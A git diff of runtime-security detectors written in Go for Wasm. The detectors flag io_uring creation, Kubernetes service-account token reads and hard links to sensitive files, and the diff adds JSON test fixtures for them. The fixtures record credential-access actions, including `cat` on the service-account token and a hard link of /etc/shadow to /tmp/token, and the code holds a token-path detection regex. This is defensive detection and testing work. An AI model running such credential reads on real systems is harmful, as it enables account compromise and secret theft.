+ "inum": 4026534082, + "is_host": false + }, + "pid_for_children": { + "inum": 4026534082, + "is_host": false + }, + "net": { + "inum": 4026534018, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026534083, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 330227, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null, + "in_init_tree": false + }, + "function_name": "security_path_link", + "args": [ + { + "path_arg": { + "mount": "", + "path": "/etc/shadow", + "flags": "", + "permission": "-rw-r-----" + }, + "label": "existing file" + }, + { + "path_arg": { + "mount": "", + "path": "/tmp/token", + "flags": "", + "permission": "---------" + }, + "label": "new hard link" + } + ], + "return": { + "int_arg": 0, + "label": "" + }, + "action": "KPROBE_ACTION_POST", + "kernel_stack_trace": [], + "policy_name": "file-monitoring", + "return_action": "KPROBE_ACTION_POST", + "message": "", + "tags": [], + "user_stack_trace": [] + }, + "node_name": "test-master-node", + "time": "2025-12-10T07:55:01.526266305Z", + "aggregation_info": null, + "cluster_name": "" + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_HARDLINK_CREATE", + "severity": "HIGH", + "reason_contains": "hard link", + "tactics": [ + "TA0005" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "HIGH", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_IO_URING_CREATE/main.go b/event-processor/detector/wasm/CS_RT_IO_URING_CREATE/main.go index 8c5e5891..f5658615 100644 --- a/event-processor/detector/wasm/CS_RT_IO_URING_CREATE/main.go +++ b/event-processor/detector/wasm/CS_RT_IO_URING_CREATE/main.go @@ -4,6 +4,7 @@ package main import ( "context" + "fmt" "strings" "github.com/runtime-radar/runtime-radar/event-processor/detector/api" @@ -16,8 +17,12 @@ const ( Description = "The detector detects if an io_uring interface instance was created, which may indicate an attacker's attempt to conceal their actions by executing file operations and network operations without the corresponding system calls." Version = 1 Author = "Runtime Radar Team" + License = "Apache License 2.0" +) - License = "Apache License 2.0" +const ( + KprobeNoArgs = "Detected that an io_uring interface instance was created by the `%s` process" + KprobeDefault = "Detected that an io_uring interface instance was created by the `%s` process, which was started using the `%s` arguments" ) var ( @@ -38,8 +43,19 @@ var ( } ) -// main is required for TinyGo to compile to Wasm. -func main() { +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0002", + Techniques: []string{ + "T1106", + }, + }, + } +) + +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -47,12 +63,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -86,9 +103,17 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe + binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() functionName := kprobe.GetFunctionName() if strings.HasSuffix(functionName, "sys_io_uring_setup") { + resp.TacticsCovered = mitreTactics + if binaryArgs == "" { + resp.Reason = fmt.Sprintf(KprobeNoArgs, binary) + } else { + resp.Reason = fmt.Sprintf(KprobeDefault, binary, binaryArgs) + } resp.Severity = api.DetectResp_MEDIUM // <-- threat detected return resp, nil @@ -103,272 +128,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "cHRjcy1tYXN0ZXItbm9kZToyNTI2MTY2MDkzODgwMDM4NDozMTE5OTAw", - "pid": 3119900, - "uid": 0, - "cwd": "/root/uring/curing/build", - "binary": "/root/uring/curing/build/client", - "arguments": "", - "flags": "execve clone", - "start_time": "2025-06-24T00:36:55.469855994Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://657178534beb38ff65dc8f120862c823de19056e47a31a16caae849b2ce90efa", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2025-03-04T11:57:50Z", - "pid": 7253, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "657178534beb38ff65dc8f120862c82", - "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZToyNTI2MDg3ODI5NzU2NjQ3MzozMDk0OTEx", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533358, - "is_host": false - }, - "ipc": { - "inum": 4026533363, - "is_host": false - }, - "mnt": { - "inum": 4026533365, - "is_host": false - }, - "pid": { - "inum": 4026533366, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533366, - "is_host": false - }, - "net": { - "inum": 4026533192, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533367, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 3119900, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "parent": { - "exec_id": "cHRjcy1tYXN0ZXItbm9kZToyNTI2MDg3ODI5NzU2NjQ3MzozMDk0OTEx", - "pid": 3094911, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2025-06-24T00:23:52.828621387Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://657178534beb38ff65dc8f120862c823de19056e47a31a16caae849b2ce90efa", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2025-03-04T11:57:50Z", - "pid": 5648, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "657178534beb38ff65dc8f120862c82", - "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZToyNTI2MDg3ODI2MjY5MzI2MTozMDk0OTEx", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533358, - "is_host": false - }, - "ipc": { - "inum": 4026533363, - "is_host": false - }, - "mnt": { - "inum": 4026533365, - "is_host": false - }, - "pid": { - "inum": 4026533366, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533366, - "is_host": false - }, - "net": { - "inum": 4026533192, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533367, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 3094911, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "function_name": "__x64_sys_io_uring_setup", - "action": "KPROBE_ACTION_POST", - "kernel_stack_trace": [], - "policy_name": "io-uring", - "return_action": "KPROBE_ACTION_POST", - "message": "", - "tags": [], - "user_stack_trace": [] - }, - "node_name": "cs-master-node", - "time": "2025-06-24T00:36:55.492551992Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - -*/ diff --git a/event-processor/detector/wasm/CS_RT_IO_URING_CREATE/testdata/negative_wrong_func.json b/event-processor/detector/wasm/CS_RT_IO_URING_CREATE/testdata/negative_wrong_func.json new file mode 100644 index 00000000..bbda0b9c --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_IO_URING_CREATE/testdata/negative_wrong_func.json @@ -0,0 +1,24 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 12345, + "binary": "/usr/bin/python3", + "arguments": "io_test.py" + }, + "function_name": "__x64_sys_read" + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_IO_URING_CREATE/testdata/positive_io_uring_setup.json b/event-processor/detector/wasm/CS_RT_IO_URING_CREATE/testdata/positive_io_uring_setup.json new file mode 100644 index 00000000..5a6e749b --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_IO_URING_CREATE/testdata/positive_io_uring_setup.json @@ -0,0 +1,284 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "cHRjcy1tYXN0ZXItbm9kZToyNTI2MTY2MDkzODgwMDM4NDozMTE5OTAw", + "pid": 3119900, + "uid": 0, + "cwd": "/root/uring/curing/build", + "binary": "/root/uring/curing/build/client", + "arguments": "", + "flags": "execve clone", + "start_time": "2025-06-24T00:36:55.469855994Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "containerd://657178534beb38ff65dc8f120862c823de19056e47a31a16caae849b2ce90efa", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2025-03-04T11:57:50Z", + "pid": 7253, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "657178534beb38ff65dc8f120862c82", + "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZToyNTI2MDg3ODI5NzU2NjQ3MzozMDk0OTEx", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026533358, + "is_host": false + }, + "ipc": { + "inum": 4026533363, + "is_host": false + }, + "mnt": { + "inum": 4026533365, + "is_host": false + }, + "pid": { + "inum": 4026533366, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533366, + "is_host": false + }, + "net": { + "inum": 4026533192, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026533367, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 3119900, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "parent": { + "exec_id": "cHRjcy1tYXN0ZXItbm9kZToyNTI2MDg3ODI5NzU2NjQ3MzozMDk0OTEx", + "pid": 3094911, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2025-06-24T00:23:52.828621387Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "containerd://657178534beb38ff65dc8f120862c823de19056e47a31a16caae849b2ce90efa", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2025-03-04T11:57:50Z", + "pid": 5648, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "657178534beb38ff65dc8f120862c82", + "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZToyNTI2MDg3ODI2MjY5MzI2MTozMDk0OTEx", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026533358, + "is_host": false + }, + "ipc": { + "inum": 4026533363, + "is_host": false + }, + "mnt": { + "inum": 4026533365, + "is_host": false + }, + "pid": { + "inum": 4026533366, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533366, + "is_host": false + }, + "net": { + "inum": 4026533192, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026533367, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 3094911, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "function_name": "__x64_sys_io_uring_setup", + "action": "KPROBE_ACTION_POST", + "kernel_stack_trace": [], + "policy_name": "io-uring", + "return_action": "KPROBE_ACTION_POST", + "message": "", + "tags": [], + "user_stack_trace": [] + }, + "node_name": "test-master-node", + "time": "2025-06-24T00:36:55.492551992Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_IO_URING_CREATE", + "severity": "MEDIUM", + "reason_contains": "io_uring", + "tactics": [ + "TA0002" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "MEDIUM", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_K8S_SA_TOKEN_READ/main.go b/event-processor/detector/wasm/CS_RT_K8S_SA_TOKEN_READ/main.go index cacfaa2d..b50afa81 100644 --- a/event-processor/detector/wasm/CS_RT_K8S_SA_TOKEN_READ/main.go +++ b/event-processor/detector/wasm/CS_RT_K8S_SA_TOKEN_READ/main.go @@ -17,8 +17,12 @@ const ( Description = "The detector detects reading of the Kubernetes authentication token, which may indicate that the Kubernetes account was compromised." Version = 1 Author = "Runtime Radar Team" + License = "Apache License 2.0" +) - License = "Apache License 2.0" +const ( + KprobeReadNoArgs = "Detected that the Kubernetes token `%s` was read by the `%s` process" + KprobeReadDefault = "Detected that the Kubernetes token `%s` was read by the `%s` process, which was started using the `%s` arguments" ) var ( @@ -39,6 +43,53 @@ var ( } ) +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0001", + Techniques: []string{ + "T1078.001", + "T1078.003", + }, + }, + { + Id: "TA0003", + Techniques: []string{ + "T1078.001", + "T1078.003", + }, + }, + { + Id: "TA0004", + Techniques: []string{ + "T1078.001", + "T1078.003", + }, + }, + { + Id: "TA0005", + Techniques: []string{ + "T1550.001", + "T1078.001", + "T1078.003", + }, + }, + { + Id: "TA0006", + Techniques: []string{ + "T1528", + "T1552.001", + }, + }, + { + Id: "TA0008", + Techniques: []string{ + "T1550.001", + }, + }, + } +) + var ( // Following code is commented and will probably be removed later on, because listed tools run on host itself, out of container context, // and will be filtered out by monitoring agent most of the time because of runtime filters. @@ -60,8 +111,8 @@ var ( fileRegex = regexp.MustCompile("secrets/kubernetes.io/serviceaccount.+token$") ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -69,12 +120,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -108,13 +160,13 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe - - containerIDPart := kprobe.GetProcess().GetDocker() - - // binary := kprobe.GetProcess().GetBinary() + binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() function := kprobe.GetFunctionName() args := kprobe.GetArgs() + containerIDPart := kprobe.GetProcess().GetDocker() + // Process events only from runtime env if containerIDPart == "" { return resp, nil @@ -147,6 +199,13 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe path := args[0].GetFileArg().GetPath() if fileRegex.MatchString(path) { + resp.TacticsCovered = mitreTactics + switch { + case binaryArgs == "": + resp.Reason = fmt.Sprintf(KprobeReadNoArgs, path, binary) + case binaryArgs != "": + resp.Reason = fmt.Sprintf(KprobeReadDefault, path, binary, binaryArgs) + } resp.Severity = api.DetectResp_HIGH // <-- threat detected } @@ -159,277 +218,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjI5NDI3MzM0NjUyMTQ0MDc6MjQ4Mjc1MA==", - "pid": 2482750, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/cat", - "arguments": "/var/run/secrets/kubernetes.io/serviceaccount/token", - "flags": "execve rootcwd clone", - "start_time": "2024-03-18T12:39:20.258664559Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian-cap", - "labels": [], - "container": { - "id": "cri-o://635bb04d5b6d67585f78358b6d54d0373576ed0e0e24cf02c21c86a88549b903", - "name": "test-pod-debian-cap", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-03-06T11:01:56Z", - "pid": 3662, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian-cap", - "workload_kind": "Pod" - }, - "docker": "635bb04d5b6d67585f78358b6d54d03", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjI5NDI3MTQxMDQ5ODA2ODg6MjQ4MjUzNg==", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_SYS_CHROOT", - "CAP_SYS_ADMIN", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_SYS_CHROOT", - "CAP_SYS_ADMIN", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534057, - "is_host": false - }, - "ipc": { - "inum": 4026534058, - "is_host": false - }, - "mnt": { - "inum": 4026535084, - "is_host": false - }, - "pid": { - "inum": 4026535085, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535085, - "is_host": false - }, - "net": { - "inum": 4026534059, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535086, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 2482750, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjI5NDI3MTQxMDQ5ODA2ODg6MjQ4MjUzNg==", - "pid": 2482536, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2024-03-18T12:39:00.898431349Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian-cap", - "labels": [], - "container": { - "id": "cri-o://635bb04d5b6d67585f78358b6d54d0373576ed0e0e24cf02c21c86a88549b903", - "name": "test-pod-debian-cap", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-03-06T11:01:56Z", - "pid": 3653, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian-cap", - "workload_kind": "Pod" - }, - "docker": "635bb04d5b6d67585f78358b6d54d03", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjI5NDI3MTQxMDI3NDQ4NDg6MjQ4MjUzNg==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_SYS_CHROOT", - "CAP_SYS_ADMIN", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_SYS_CHROOT", - "CAP_SYS_ADMIN", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534057, - "is_host": false - }, - "ipc": { - "inum": 4026534058, - "is_host": false - }, - "mnt": { - "inum": 4026535084, - "is_host": false - }, - "pid": { - "inum": 4026535085, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535085, - "is_host": false - }, - "net": { - "inum": 4026534059, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535086, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 2482536, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "function_name": "security_file_permission", - "args": [ - { - "file_arg": { - "mount": "", - "path": "/run/secrets/kubernetes.io/serviceaccount/..2024_03_18_12_27_42.2985670933/token", - "flags": "" - }, - "label": "" - }, - { - "int_arg": 4, - "label": "" - } - ], - "return": { - "int_arg": 0, - "label": "" - }, - "action": "KPROBE_ACTION_POST", - "stack_trace": [], - "policy_name": "file-monitoring" - }, - "node_name": "experts-k8s-cs", - "time": "2024-03-18T12:39:20.259331822Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } -*/ diff --git a/event-processor/detector/wasm/CS_RT_K8S_SA_TOKEN_READ/testdata/negative_benign_path.json b/event-processor/detector/wasm/CS_RT_K8S_SA_TOKEN_READ/testdata/negative_benign_path.json new file mode 100644 index 00000000..9aa75209 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_K8S_SA_TOKEN_READ/testdata/negative_benign_path.json @@ -0,0 +1,36 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 12345, + "binary": "/usr/bin/cat", + "arguments": "/etc/hostname", + "docker": "abc1234567890ab" + }, + "function_name": "security_file_permission", + "args": [ + { + "file_arg": { + "path": "/etc/hostname", + "permission": "-rw-r--r--" + } + }, + { + "int_arg": 4 + } + ] + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_K8S_SA_TOKEN_READ/testdata/positive_sa_token_read.json b/event-processor/detector/wasm/CS_RT_K8S_SA_TOKEN_READ/testdata/positive_sa_token_read.json new file mode 100644 index 00000000..fec14170 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_K8S_SA_TOKEN_READ/testdata/positive_sa_token_read.json @@ -0,0 +1,292 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjI5NDI3MzM0NjUyMTQ0MDc6MjQ4Mjc1MA==", + "pid": 2482750, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/cat", + "arguments": "/var/run/secrets/kubernetes.io/serviceaccount/token", + "flags": "execve rootcwd clone", + "start_time": "2024-03-18T12:39:20.258664559Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian-cap", + "container": { + "id": "cri-o://635bb04d5b6d67585f78358b6d54d0373576ed0e0e24cf02c21c86a88549b903", + "name": "test-pod-debian-cap", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-03-06T11:01:56Z", + "pid": 3662, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian-cap", + "workload_kind": "Pod" + }, + "docker": "635bb04d5b6d67585f78358b6d54d03", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjI5NDI3MTQxMDQ5ODA2ODg6MjQ4MjUzNg==", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_SYS_CHROOT", + "CAP_SYS_ADMIN", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + 